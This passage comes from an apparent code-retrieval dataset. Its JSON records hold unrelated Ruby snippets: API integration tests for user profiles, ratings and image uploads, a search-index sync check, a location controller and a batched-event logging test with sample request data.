#sanity check for Turtle response\n @user.verify_oauth_token(@user.oauth_token)\n if @response.code =~ /^2\\d{2}$/\n assert_response(@response, :success)\n assert_equal(date, @parsed_response['birth_date'], @parsed_response)\n else\n errors << @parsed_response\n end\n end\n\n # Step 4\n params = {\n 'oauth_token' => @user.oauth_token,\n 'user' => {\n 'phone_number' => nil\n }\n }\n\n ['0123456789', '8185551212'].each do |pn|\n params['user']['phone_number'] = pn\n\n post \"/usr/update_by_id/#{@user.id}\", params\n if @response.code =~ /^2\\d{2}$/\n assert_response(@response, :success)\n assert_equal(@user.id, @parsed_response['id'], @parsed_response)\n assert_equal(pn, @parsed_response['phone_number'], @parsed_response)\n else\n errors << @parsed_response\n end\n end\n\n # Step 5\n ['abc', '123', '123abc4567'].each do |pn|\n params['user']['phone_number'] = pn\n\n post \"/usr/update_by_id/#{@user.id}\", params\n if @response.code =~ /^4\\d{2}$/\n assert_response(@response, :client_error)\n assert_equal('Phone number must be 10 numerical digits.', @parsed_response['phone_number'].first)\n else\n errors << \"Expected client error for non-10-digit formatting: #{@parsed_response['phone_number']}\"\n end\n end\n\n assert_empty(errors)\n end", "title": "" }, { "docid": "5ace85306e900aa982e83e82879f38fe", "score": "0.5323258", "text": "def test_verified_user_ugc\n # Step 1\n @user = setup_user({ 'email' => @user.email })\n\n # Step 2\n opts = {\n 'vrid' => @user.vrid,\n 'app_id' => 'WEB',\n 'ptid' => 'API'\n }\n\n sr_check = nil\n start_time = Time.now\n query = ['sushi bars','attorneys','plumbers'].sample\n location = 'los angeles, ca'\n while sr_check.nil? && Time.now - start_time < 10\n get_consumer_search_resp(query, location, opts)\n assert_response(@response, :success)\n sr_check = @parsed_response['SearchResult']['BusinessListings'].first\n end\n\n listings = []\n @parsed_response['SearchResult']['BusinessListings'].each do |business|\n if business['Rateable'] == 1 && business['Int_Xxid']\n listings << business\n end\n end\n refute_empty(listings, \"No Rateable listings returned for: #{query}, #{location}\")\n listing = listings.sample\n int_xxid = listing['Int_Xxid']\n\n # Step 3\n response_check = nil\n start_time = Time.now\n\n while response_check !~ /^2\\d{2}$/ && Time.now - start_time < 10\n params = {\n 'int_xxid' => int_xxid,\n 'source' => 'xx',\n 'subject' => 'this is test',\n 'body' => 'API TEST -- This is the best rating in the worlds!',\n 'value' => 4,\n 'oauth_token' => @user.oauth_token\n }\n\n assign_http(Config[\"panda\"][\"host\"])\n\n post '/rats/add_rating', params\n response_check = @response.code\n end\n\n assert(@parsed_response['RatingID'].present?, 'RatingID not set')\n rating_id = @parsed_response['RatingID']\n\n # Step 4\n assign_http(Config[\"monkey\"][\"host\"])\n\n headers = { 'Content-Type' => 'image/jpg' }\n\n params = {\n 'api_key' => Config[\"monkey\"][\"api_key\"],\n 'oauth_token' => @user.oauth_token,\n 'metadata' => {\n 'user_type' => 'xx'\n }\n }\n\n put_file('/b_image', params, generate_random_image, headers)\n assert_response(@response, :success)\n assert(@parsed_response['id'], @parsed_response)\n sha1 = @parsed_response['id']\n\n params = {\n 'ext_type' => 'int_xxid',\n 'ext_id' => int_xxid,\n 'oauth_token' => @user.oauth_token,\n 'api_key' => Config[\"monkey\"][\"api_key\"],\n 'metadata' => {\n 'user_type' => 'xx'\n }\n }\n\n post \"/b_image/#{sha1}\", params\n assert_response(@response, :success)\n\n # Step 5\n assert_image_in_consumer_business(sha1, listing)\n assert_image_in_profile(sha1, @user)\n assert_rating_in_listing(rating_id, listing)\n assert_rating_in_profile(rating_id, @user)\n\n assign_http(Config[\"panda\"][\"host\"])\n\n get \"/rats/#{rating_id}\", {}\n assert_response(@response, :success)\n assert_equal(rating_id, @parsed_response['id'])\n assert_equal(int_xxid, @parsed_response['int_xxid'].to_s)\n assert_equal(@user.id, @parsed_response['author_user_id'])\n assert_equal(true, @parsed_response['verified'])\n\n # Step 6\n assign_http(Config[\"monkey\"][\"host\"])\n\n params = {\n 'ext_type' => 'int_xxid',\n 'ext_id' => int_xxid,\n 'oauth_token' => @user.oauth_token,\n 'api_key' => Config[\"monkey\"][\"api_key\"],\n 'reason' => 6\n }\n\n post \"/b_image/#{sha1}/int_xxid/#{int_xxid}/report\", params\n assert_response(@response, :success)\n refute_nil(@parsed_response['image_path'], @parsed_response)\n params = { 'api_key' => Config[\"monkey\"][\"api_key\"] }\n\n get \"/business/images/#{int_xxid}\", params\n assert_response(@response, :success)\n refute(@parsed_response[int_xxid].map { |images| images['id'] }.include?(sha1), 'Image still found in list after delete.') unless @parsed_response.blank?\n\n # Step 7\n assign_http(Config[\"panda\"][\"host\"])\n\n delete \"/rats/#{rating_id}\", {}\n assert_response(@response, :success)\n\n get \"/rats/#{rating_id}\", {}\n assert_response(@response, 404)\n end", "title": "" }, { "docid": "aac3b75e20a1dc40e4cd183c4a18f86b", "score": "0.5318619", "text": "def insert_if_does_not_exist user_data\n check_and_insert_user user_data\n check_and_insert_song user_data\n check_and_insert_connections user_data\n end", "title": "" }, { "docid": "ccf38f3ad45bfb8b33ffefacf882a2f1", "score": "0.52929264", "text": "def application_in_status(statustype)\n notice_payload = {\"Action\"=>\"INSERT\", \"Location\"=>\"application_in_status\", \"xaid\"=>\"#{SecureRandom.uuid}\", \"Data\"=>[{\"keyfld\"=>\"#{@integrated_case_reference}\", \"keyid\"=>\"#{$icid}\", \"icnumber\"=>\"#{@integrated_case_reference}\", \"icid\"=>\"#{$icid}\",\n \"statustype\"=>\"#{statustype}\", \"statustimestamp\"=>\"#{Time.now}\", \"applicationsource\"=>\"curam\"}]}\n application_in_status = RestClient.post(HAVEN_WEB_SERVICES[:c2h_arb_input_wrapper], notice_payload.to_s.gsub(\"=>\", \":\"), {content_type: :\"application/xml\", accept: :\"application/json\"})\n puts \"Notice Payload: #{notice_payload}\\n\\n Application in status: #{application_in_status}\"\nend", "title": "" }, { "docid": "d6836f98950310fa5bb5b6be273077f4", "score": "0.52917415", "text": "def add_all_events_info_to_ret(ret, all_events_info, all_rsvps_info, api_detail_hash, id_arr)\n unless (all_events_info.signed_url)\n raise ApiReturnMissingElementError, \"signed_url missing from api return of all events\"\n end\n unless (all_rsvps_info.signed_url)\n raise ApiReturnMissingElementError, \"signed_url missing from api return of all rsvps\"\n end\n ret.all_events_api_url = all_events_info.signed_url\n ret.all_rsvps_api_url = all_rsvps_info.signed_url\n\n #Iterate through the events returned by the API and\n #create add the details to the RemoteEventAPIDetail objs\n all_events_info.each do |event_info|\n curr_event_id = event_info.id.to_s.to_sym\n puts(\"curr_event_id = '#{curr_event_id}'. class_name = '#{curr_event_id.class.name}'\")\n curr_api_detail = api_detail_hash[curr_event_id]\n if (curr_api_detail)\n curr_api_detail.event_url = event_info.event_url\n curr_api_detail.title = event_info.name\n event_group = event_info.group\n puts \"event_group = #{event_group.inspect}\"\n if (event_group)\n curr_api_detail.group_name = event_group[\"name\"]\n curr_api_detail.group_url = construct_meetup_group_url(event_group[\"urlname\"])\n end\n curr_api_detail.description = event_info.description\n if (event_info.time) \n puts \"event_info.time = #{event_info.time}\"\n #loc_start_date = Time.at(event_info.time)\n curr_api_detail.start_date = event_info.time\n puts \"start_date = #{curr_api_detail.start_date}\"\n if (time_delta = event_info.duration)\n puts \"event_info.duration = #{event_info.duration}\"\n puts \"time_delta = '#{time_delta}'\"\n start_date_in_ms = event_info.time.strftime('%Q').to_i\n loc_end_time = Time.at((start_date_in_ms + time_delta)/1000)\n puts \"loc_end_time = '#{loc_end_time}'\"\n curr_api_detail.end_date = loc_end_time\n puts \"end_date = #{curr_api_detail.end_date}\"\n end\n end\n else\n puts(\"ERROR! Did not have an api_detail for '#{curr_event_id}'\")\n end\n end\n\n #add the remote_event_api_details in the order given in id_arr\n id_arr.each do |id_s|\n curr_api_detail = api_detail_hash[id_s.to_s.to_sym]\n if (curr_api_detail)\n ret.remote_event_api_details << curr_api_detail\n else\n puts(\"ERROR! Did not have an api_detail for '#{curr_event_id}'\")\n end\n end\n end", "title": "" }, { "docid": "eb59faab6ff109bf3966680c84076be3", "score": "0.52881473", "text": "def insert_all; end", "title": "" }, { "docid": "b03a840da1ec3864b4de0cab9ded68fc", "score": "0.52824605", "text": "def integrity; end", "title": "" }, { "docid": "b03a840da1ec3864b4de0cab9ded68fc", "score": "0.52824605", "text": "def integrity; end", "title": "" }, { "docid": "bfd0404e7fa7b6e6807bc734368209ff", "score": "0.5267104", "text": "def test_unverified_user_merge_ugc\n # Step 1\n turtle_response = @user.register\n assert_response(turtle_response, :success)\n assert @user.id\n turtle_response = @user.login_oauth\n assert_response(turtle_response, :success)\n assert @user.oauth_token\n\n # Step 2\n opts = {\n 'vrid' => @user.vrid,\n 'app_id' => 'WEB',\n 'ptid' => 'API'\n }\n\n sr_check = nil\n start_time = Time.now\n query = ['sushi bars','attorneys','plumbers'].sample\n location = 'los angeles, ca'\n while sr_check.nil? && Time.now - start_time < 10\n get_consumer_search_resp(query, location, opts)\n assert_response(@response, :success)\n sr_check = @parsed_response['SearchResult']['BusinessListings'].first\n end\n\n listings = []\n @parsed_response['SearchResult']['BusinessListings'].each do |business|\n if business['Rateable'] == 1 && business['Int_Xxid']\n listings << business\n end\n end\n refute_empty(listings, \"No Rateable listings returned for: #{query}, #{location}\")\n listing = listings.sample\n int_xxid = listing['Int_Xxid']\n\n # Step 3\n response_check = nil\n start_time = Time.now\n\n while response_check !~ /^2\\d{2}$/ && Time.now - start_time < 10\n params = {\n 'int_xxid' => int_xxid,\n 'source' => 'xx',\n 'subject' => 'this is test',\n 'body' => 'this is user rating test test test test',\n 'value' => 3,\n 'oauth_token' => @user.oauth_token\n }\n\n assign_http(Config[\"panda\"][\"host\"])\n\n post '/rats/add_rating', params\n response_check = @response.code\n end\n\n assert(@parsed_response['RatingID'].present?, 'RatingID not set')\n rating_id = @parsed_response['RatingID']\n\n # Step 4\n assign_http(Config[\"monkey\"][\"host\"])\n\n headers = { 'Content-Type' => 'image/jpg' }\n\n params = {\n 'api_key' => Config[\"monkey\"][\"api_key\"],\n 'oauth_token' => @user.oauth_token,\n 'metadata' => {\n 'user_type' => 'xx'\n }\n }\n\n put_file '/b_image', params, generate_random_image, headers\n assert_response(@response, :success)\n assert(@parsed_response['id'], @parsed_response)\n sha1 = @parsed_response['id']\n\n params = {\n 'ext_type' => 'int_xxid',\n 'ext_id' => int_xxid,\n 'oauth_token' => @user.oauth_token,\n 'api_key' => Config[\"monkey\"][\"api_key\"],\n 'metadata' => {\n 'user_type' => 'xx'\n }\n }\n\n post \"/b_image/#{sha1}\", params\n assert_response(@response, :success)\n\n # Step 5\n refute_image_in_consumer_business(sha1, listing)\n assert_image_in_profile(sha1, @user)\n refute_rating_in_listing(rating_id, listing)\n assert_rating_in_profile(rating_id, @user)\n\n assign_http(Config[\"panda\"][\"host\"])\n\n get \"/rats/#{rating_id}\", {}\n assert_response(@response, :success)\n assert_equal(rating_id, @parsed_response['id'])\n assert_equal(int_xxid, @parsed_response['int_xxid'].to_s)\n assert_equal(@user.id, @parsed_response['author_user_id'])\n assert_equal(false, @parsed_response['verified'])\n\n # Step 6\n params = { 'email' => @user.email }\n\n get '/usr', params\n assert_response(@response, :success)\n assert(@parsed_response.first['email_token'], @parsed_response)\n email_token = @parsed_response.first['email_token']\n\n assign_http(Config[\"turtle\"][\"host\"])\n\n get \"/confirm_email/#{email_token}\", {}\n assert_response(@response, :success)\n\n # Step 7\n assert_image_in_consumer_business(sha1, listing)\n assert_image_in_profile(sha1, @user)\n assert_rating_in_listing(rating_id, listing)\n assert_rating_in_profile(rating_id, @user)\n\n assign_http(Config[\"panda\"][\"host\"])\n\n get \"/rats/#{rating_id}\", {}\n assert_response(@response, :success)\n assert_equal(rating_id, @parsed_response['id'])\n assert_equal(int_xxid, @parsed_response['int_xxid'].to_s)\n assert_equal(@user.id, @parsed_response['author_user_id'])\n assert_equal(true, @parsed_response['verified'])\n\n # Step 8\n assign_http(Config[\"monkey\"][\"host\"])\n\n params = {\n 'ext_type' => 'int_xxid',\n 'ext_id' => int_xxid,\n 'oauth_token' => @user.oauth_token,\n 'api_key' => Config[\"monkey\"][\"api_key\"],\n 'reason' => 6\n }\n\n post \"/b_image/#{sha1}/int_xxid/#{int_xxid}/report\", params\n assert_response(@response, :success)\n refute_nil(@parsed_response['image_path'], @parsed_response)\n params = { 'api_key' => Config[\"monkey\"][\"api_key\"] }\n\n get \"/business/images/#{int_xxid}\", params\n assert_response(@response, :success)\n refute(@parsed_response[int_xxid].map { |images| images['id'] }.include?(sha1), 'Image still found in list after delete.') unless @parsed_response.blank?\n\n # Step 9\n assign_http(Config[\"panda\"][\"host\"])\n\n delete \"/rats/#{rating_id}\", {}\n assert_response(@response, :success)\n\n get \"/rats/#{rating_id}\", {}\n assert_response(@response, :client_error)\n end", "title": "" }, { "docid": "8957fe079dea6814010504fe16506409", "score": "0.5265037", "text": "def data_sync_check\n res = {}\n\n # opps that have not expired and are published\n # db_opportunities = get_db_opportunities\n db_opportunities_ids = db_opportunities\n sort = OpenStruct.new(column: :response_due_on, order: :desc)\n query = OpportunitySearchBuilder.new(search_term: '', sort: sort).call\n es_opportunities_ids = es_opportunities(query)\n\n res_opportunities_count = db_opportunities_ids.size == es_opportunities_ids.size\n if db_opportunities_ids.size != es_opportunities_ids.size\n missing_docs = db_opportunities_ids - es_opportunities_ids | es_opportunities_ids - db_opportunities_ids\n Rails.logger.error('we are missing opportunities docs')\n Rails.logger.error(missing_docs)\n res['opportunities'] = { expected_opportunities: db_opportunities_ids.size, actual_opportunities: es_opportunities_ids.size, missing: missing_docs }\n end\n\n db_subscriptions_ids = db_subscriptions\n es_subscriptions_ids = es_subscriptions\n\n res_subscriptions_count = db_subscriptions_ids.size == es_subscriptions_ids.size\n if db_subscriptions_ids.size != es_subscriptions_ids.size\n missing_docs = db_subscriptions_ids - es_subscriptions_ids | es_subscriptions_ids - db_subscriptions_ids\n Rails.logger.error('we are missing subscriber docs')\n Rails.logger.error(missing_docs)\n res['subscriptions'] = { expected_opportunities: db_subscriptions_ids.size, actual_opportunities: es_subscriptions_ids.size, missing: missing_docs }\n end\n\n result = res_opportunities_count && res_subscriptions_count\n case result\n when true\n render json: { git_revision: ExportOpportunities::REVISION, status: 'OK', result: res }, status: 200\n else\n render json: { git_revision: ExportOpportunities::REVISION, status: 'error', result: res }, status: 500\n end\n end", "title": "" }, { "docid": "f85048e946a6c05cf78f3d106dac7f8e", "score": "0.5259134", "text": "def return_to_verified; end", "title": "" }, { "docid": "fb6853b55944cb156c623009eaa0fb1d", "score": "0.525239", "text": "def add_api_verifier; end", "title": "" }, { "docid": "43e4fef5202878dcf10497c630b38e5d", "score": "0.5245697", "text": "def add_new_location\n begin\n if address && city && state && country && latitude & longitude\n requested_user.locations.push(Location.create!(:address => address,\n :city => city,\n :state => state,\n :country => country,\n :latitude => latitude.to_f, \n :longitude => longitude.to_f,\n :user_id => requested_user.id)) \n requested_user.update_attributes!(:current_latitude => latitude.to_f,\n :current_longitude => longitude.to_f) \n render :status=>200,\n :json=>{:Message=>\"Successfully added new location to your credit.\",\n :Response => \"Success\",\n :Data => {:User => requested_user, :Locations => requested_user.locations}}\n else\n render :status=>401,\n :json=>{:Message=>\"The request must contain address, city, state country, latitude and longitude.\",\n :Response => \"Fail\",\n :Data => nil} \n end\n rescue Exception => e\n render :status=>401,\n :json=>{:Message=>\"Error while adding new location.\",\n :Response => \"Fail\",\n :Data => e.message}\n end\n end", "title": "" }, { "docid": "46026990ceb2bfb6992a13e9c45cccbf", "score": "0.52456486", "text": "def test_not_creation_of_duplicate_payer_when_actual_payer_is_approved\n payer_details = { \n :payer => 'Duplicate Payer 1',\n :pay_address_one => 'PO BOX 1479',\n :pay_address_two => '',\n :payer_city => 'NEWARK',\n :payer_state => 'OH',\n :payer_zip => '12345',\n :payid => 'I9998'\n }\n micr_details = { \n :aba_routing_number => '121121121',\n :payer_account_number => '121121121'\n }\n get :save_payer_and_its_related_attributes, {\n :micr_id => '9',\n :payer => payer_details,\n :micr_line_information => micr_details\n }\n expected_error_message = 'Another payer has this MICR. Please provide valid data.'\n observed_result, observed_error_message = @controller.save_payer_and_its_related_attributes\n assert_equal false, observed_result\n assert_equal expected_error_message, observed_error_message\n end", "title": "" }, { "docid": "74010a368659f8e0190dce82aa8479ba", "score": "0.5242723", "text": "def test_add_batched_events()\n # Parameters for the API call\n body = JSON.parse('[{ \t\t\t\t\t\"request\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:45:42.914\", \t\t\t\t\t\t\"uri\": \"https://api.acmeinc.com/items/reviews/\", \t\t\t\t\t\t\"verb\": \"PATCH\", \t\t\t\t\t\t\"api_version\": \"1.1.0\", \t\t\t\t\t\t\"ip_address\": \"61.48.220.123\", \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Host\": \"api.acmeinc.com\", \t\t\t\t\t\t\t\"Accept\": \"*/*\", \t\t\t\t\t\t\t\"Connection\": \"Keep-Alive\", \t\t\t\t\t\t\t\"User-Agent\": \"Dalvik/2.1.0 (Linux; U; Android 5.0.2; C6906 Build/14.5.A.0.242)\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json\", \t\t\t\t\t\t\t\"Content-Length\": \"126\", \t\t\t\t\t\t\t\"Accept-Encoding\": \"gzip\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"items\": [ \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 1, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"fwfrf\", \t\t\t\t\t\t\t\t\t\"liked\": false \t\t\t\t\t\t\t\t}, \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 2, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"d43d3f\", \t\t\t\t\t\t\t\t\t\"liked\": true \t\t\t\t\t\t\t\t} \t\t\t\t\t\t\t] \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"response\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:45:42.914\", \t\t\t\t\t\t\"status\": 500, \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Date\": \"Tue, 23 Aug 2016 23:46:49 GMT\", \t\t\t\t\t\t\t\"Vary\": \"Accept-Encoding\", \t\t\t\t\t\t\t\"Pragma\": \"no-cache\", \t\t\t\t\t\t\t\"Expires\": \"-1\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json; charset=utf-8\", \t\t\t\t\t\t\t\"X-Powered-By\": \"ARR/3.0\", \t\t\t\t\t\t\t\"Cache-Control\": \"no-cache\", \t\t\t\t\t\t\t\"Arr-Disable-Session-Affinity\": \"true\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"Error\": \"InvalidArgumentException\", \t\t\t\t\t\t\t\"Message\": \"Missing field field_a\" \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"user_id\": \"mndug437f43\", \t\t\t\t\t\"session_token\": \"23jdf0owekfmcn4u3qypxg09w4d8ayrcdx8nu2ng]s98y18cx98q3yhwmnhcfx43f\" \t\t\t\t\t }, { \t\t\t\t\t\"request\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:46:42.914\", \t\t\t\t\t\t\"uri\": \"https://api.acmeinc.com/items/reviews/\", \t\t\t\t\t\t\"verb\": \"PATCH\", \t\t\t\t\t\t\"api_version\": \"1.1.0\", \t\t\t\t\t\t\"ip_address\": \"61.48.220.123\", \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Host\": \"api.acmeinc.com\", \t\t\t\t\t\t\t\"Accept\": \"*/*\", \t\t\t\t\t\t\t\"Connection\": \"Keep-Alive\", \t\t\t\t\t\t\t\"User-Agent\": \"Dalvik/2.1.0 (Linux; U; Android 5.0.2; C6906 Build/14.5.A.0.242)\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json\", \t\t\t\t\t\t\t\"Content-Length\": \"126\", \t\t\t\t\t\t\t\"Accept-Encoding\": \"gzip\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"items\": [ \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 1, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"fwfrf\", \t\t\t\t\t\t\t\t\t\"liked\": false \t\t\t\t\t\t\t\t}, \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 2, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"d43d3f\", \t\t\t\t\t\t\t\t\t\"liked\": true \t\t\t\t\t\t\t\t} \t\t\t\t\t\t\t] \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"response\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:46:42.914\", \t\t\t\t\t\t\"status\": 500, \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Date\": \"Tue, 23 Aug 2016 23:46:49 GMT\", \t\t\t\t\t\t\t\"Vary\": \"Accept-Encoding\", \t\t\t\t\t\t\t\"Pragma\": \"no-cache\", \t\t\t\t\t\t\t\"Expires\": \"-1\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json; charset=utf-8\", \t\t\t\t\t\t\t\"X-Powered-By\": \"ARR/3.0\", \t\t\t\t\t\t\t\"Cache-Control\": \"no-cache\", \t\t\t\t\t\t\t\"Arr-Disable-Session-Affinity\": \"true\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"Error\": \"InvalidArgumentException\", \t\t\t\t\t\t\t\"Message\": \"Missing field field_a\" \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"user_id\": \"mndug437f43\", \t\t\t\t\t\"session_token\": \"23jdf0owekfmcn4u3qypxg09w4d8ayrcdx8nu2ng]s98y18cx98q3yhwmnhcfx43f\" \t\t\t\t\t }, { \t\t\t\t\t\"request\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:47:42.914\", \t\t\t\t\t\t\"uri\": \"https://api.acmeinc.com/items/reviews/\", \t\t\t\t\t\t\"verb\": \"PATCH\", \t\t\t\t\t\t\"api_version\": \"1.1.0\", \t\t\t\t\t\t\"ip_address\": \"61.48.220.123\", \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Host\": \"api.acmeinc.com\", \t\t\t\t\t\t\t\"Accept\": \"*/*\", \t\t\t\t\t\t\t\"Connection\": \"Keep-Alive\", \t\t\t\t\t\t\t\"User-Agent\": \"Dalvik/2.1.0 (Linux; U; Android 5.0.2; C6906 Build/14.5.A.0.242)\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json\", \t\t\t\t\t\t\t\"Content-Length\": \"126\", \t\t\t\t\t\t\t\"Accept-Encoding\": \"gzip\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"items\": [ \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 1, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"fwfrf\", \t\t\t\t\t\t\t\t\t\"liked\": false \t\t\t\t\t\t\t\t}, \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 2, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"d43d3f\", \t\t\t\t\t\t\t\t\t\"liked\": true \t\t\t\t\t\t\t\t} \t\t\t\t\t\t\t] \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"response\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:47:42.914\", \t\t\t\t\t\t\"status\": 500, \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Date\": \"Tue, 23 Aug 2016 23:46:49 GMT\", \t\t\t\t\t\t\t\"Vary\": \"Accept-Encoding\", \t\t\t\t\t\t\t\"Pragma\": \"no-cache\", \t\t\t\t\t\t\t\"Expires\": \"-1\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json; charset=utf-8\", \t\t\t\t\t\t\t\"X-Powered-By\": \"ARR/3.0\", \t\t\t\t\t\t\t\"Cache-Control\": \"no-cache\", \t\t\t\t\t\t\t\"Arr-Disable-Session-Affinity\": \"true\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"Error\": \"InvalidArgumentException\", \t\t\t\t\t\t\t\"Message\": \"Missing field field_a\" \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"user_id\": \"mndug437f43\", \t\t\t\t\t\"session_token\": \"23jdf0owekfmcn4u3qypxg09w4d8ayrcdx8nu2ng]s98y18cx98q3yhwmnhcfx43f\" \t\t\t\t\t }, { \t\t\t\t\t\"request\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:48:42.914\", \t\t\t\t\t\t\"uri\": \"https://api.acmeinc.com/items/reviews/\", \t\t\t\t\t\t\"verb\": \"PATCH\", \t\t\t\t\t\t\"api_version\": \"1.1.0\", \t\t\t\t\t\t\"ip_address\": \"61.48.220.123\", \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Host\": \"api.acmeinc.com\", \t\t\t\t\t\t\t\"Accept\": \"*/*\", \t\t\t\t\t\t\t\"Connection\": \"Keep-Alive\", \t\t\t\t\t\t\t\"User-Agent\": \"Dalvik/2.1.0 (Linux; U; Android 5.0.2; C6906 Build/14.5.A.0.242)\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json\", \t\t\t\t\t\t\t\"Content-Length\": \"126\", \t\t\t\t\t\t\t\"Accept-Encoding\": \"gzip\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"items\": [ \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 1, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"fwfrf\", \t\t\t\t\t\t\t\t\t\"liked\": false \t\t\t\t\t\t\t\t}, \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 2, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"d43d3f\", \t\t\t\t\t\t\t\t\t\"liked\": true \t\t\t\t\t\t\t\t} \t\t\t\t\t\t\t] \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"response\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:48:42.914\", \t\t\t\t\t\t\"status\": 500, \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Date\": \"Tue, 23 Aug 2016 23:46:49 GMT\", \t\t\t\t\t\t\t\"Vary\": \"Accept-Encoding\", \t\t\t\t\t\t\t\"Pragma\": \"no-cache\", \t\t\t\t\t\t\t\"Expires\": \"-1\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json; charset=utf-8\", \t\t\t\t\t\t\t\"X-Powered-By\": \"ARR/3.0\", \t\t\t\t\t\t\t\"Cache-Control\": \"no-cache\", \t\t\t\t\t\t\t\"Arr-Disable-Session-Affinity\": \"true\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"Error\": \"InvalidArgumentException\", \t\t\t\t\t\t\t\"Message\": \"Missing field field_a\" \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"user_id\": \"mndug437f43\", \t\t\t\t\t\"session_token\": \"exfzweachxjgznvKUYrxFcxv]s98y18cx98q3yhwmnhcfx43f\" \t\t\t\t\t }, { \t\t\t\t\t\"request\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:49:42.914\", \t\t\t\t\t\t\"uri\": \"https://api.acmeinc.com/items/reviews/\", \t\t\t\t\t\t\"verb\": \"PATCH\", \t\t\t\t\t\t\"api_version\": \"1.1.0\", \t\t\t\t\t\t\"ip_address\": \"61.48.220.123\", \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Host\": \"api.acmeinc.com\", \t\t\t\t\t\t\t\"Accept\": \"*/*\", \t\t\t\t\t\t\t\"Connection\": \"Keep-Alive\", \t\t\t\t\t\t\t\"User-Agent\": \"Dalvik/2.1.0 (Linux; U; Android 5.0.2; C6906 Build/14.5.A.0.242)\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json\", \t\t\t\t\t\t\t\"Content-Length\": \"126\", \t\t\t\t\t\t\t\"Accept-Encoding\": \"gzip\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"items\": [ \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 1, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"fwfrf\", \t\t\t\t\t\t\t\t\t\"liked\": false \t\t\t\t\t\t\t\t}, \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 2, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"d43d3f\", \t\t\t\t\t\t\t\t\t\"liked\": true \t\t\t\t\t\t\t\t} \t\t\t\t\t\t\t] \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"response\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:49:42.914\", \t\t\t\t\t\t\"status\": 500, \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Date\": \"Tue, 23 Aug 2016 23:46:49 GMT\", \t\t\t\t\t\t\t\"Vary\": \"Accept-Encoding\", \t\t\t\t\t\t\t\"Pragma\": \"no-cache\", \t\t\t\t\t\t\t\"Expires\": \"-1\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json; charset=utf-8\", \t\t\t\t\t\t\t\"X-Powered-By\": \"ARR/3.0\", \t\t\t\t\t\t\t\"Cache-Control\": \"no-cache\", \t\t\t\t\t\t\t\"Arr-Disable-Session-Affinity\": 